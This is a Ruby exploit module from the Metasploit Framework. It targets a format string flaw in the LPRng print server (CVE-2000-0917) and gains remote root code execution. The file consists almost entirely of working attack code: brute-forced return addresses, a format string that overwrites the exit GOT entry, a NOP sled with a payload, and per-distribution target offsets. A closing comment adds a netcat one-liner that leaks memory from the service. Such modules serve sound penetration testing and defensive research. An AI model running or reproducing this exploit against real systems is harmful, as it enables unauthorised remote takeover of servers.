## # $Id: lprng_format_string.rb 8530 2010-02-17 00:56:28Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Brute include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'LPRng use_syslog Remote Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in the LPRng print server. This vulnerability was discovered by Chris Evans. There was a publicly circulating worm targeting this vulnerability, which prompted RedHat to pull their 7.0 release. They consequently re-released it as "7.0-respin". }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 8530 $', 'References' => [ [ 'CVE', '2000-0917' ], [ 'OSVDB', '421' ], [ 'BID', '1712' ], [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ], [ 'URL', 'http://www.exploit-db.com/exploits/226' ], [ 'URL', 'http://www.exploit-db.com/exploits/227' ], [ 'URL', 'http://www.exploit-db.com/exploits/230' ] ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Privileged' => true, # root 'DefaultOptions' => { 'PrependSetresuid' => true }, 'Payload' => { 'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt) 'BadChars' => "\x00\x0a\x20\x25", }, 'Targets' => [ # tested OK - jjd [ 'Caldera OpenLinux 2.3 Bruteforce', { 'Platform' => 'linux', 'NumPops' => 243, 'FlowHook' => 0x80992d4, # GOT of exit # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted 'Bruteforce' => { 'Start' => { 'Ret' => 0xcffffff4 }, 'Stop' => { 'Ret' => 0x7fffe004 }, 'Step' => 16 } } ], =begin # untested (from public exploits) [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell', { 'NumPops' => 299, 'Ret' => 0xbffff640, 'FlowHook' => 0xbfffee30 } ], [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5', { 'NumPops' => 304, 'Ret' => 0xbffff920, 'FlowHook' => 0xbffff0f0 } ], [ 'RedHat 7.0 - Guinesss', { 'NumPops' => 300, 'Ret' => 0x41424344, 'FlowHook' => 0xbffff3ec } ], [ 'RedHat 7.0 - Guinesss-dev', { 'NumPops' => 300, 'Ret' => 0x41424344, 'FlowHook' => 0xbffff12c } ], =end # ... [ 'Debug', { 'NumPops' => 1, # sure to miss. 'Ret' => 0x41424344, 'FlowHook' => 0x45464748 } ] ], # 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 25 2000')) register_options( [ Opt::RPORT(515) ], self.class ) end def exploit # we want to use DPA for this one :) fmtstr_set_caps(false, true) # check syslog to see which number hits 41414141 =begin 400.times { |x| connect buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1] sock.put(buf) #handler disconnect } =end print_status("Trying target #{target.name} ..") super end def brute_exploit(addrs) #print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret']) printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ... num_start = printed.length + 2 + 4 # write 'ret' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog) fmtbuf = "_" * 4 fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret']) #print_status(" hijacker format string buffer is #{fmtbuf.length} bytes") # append payload and newline #fmtbuf << payload.encoded fmtbuf << "\x90" * 32 fmtbuf << Rex::Text.charset_exclude(payload_badchars) fmtbuf << "\n" print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']]) connect #print_status("Sleeping, attach now!!") #sleep(5) sock.put(fmtbuf) handler disconnect end end =begin HRM! The following causes info leakage! bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC There are various other ways to trigger the vulnerability. LPD uses the single-byte commands 0x01 -> 0x09... It's unclear if there is a way to auto-detect the lpd version via LPD commands. =end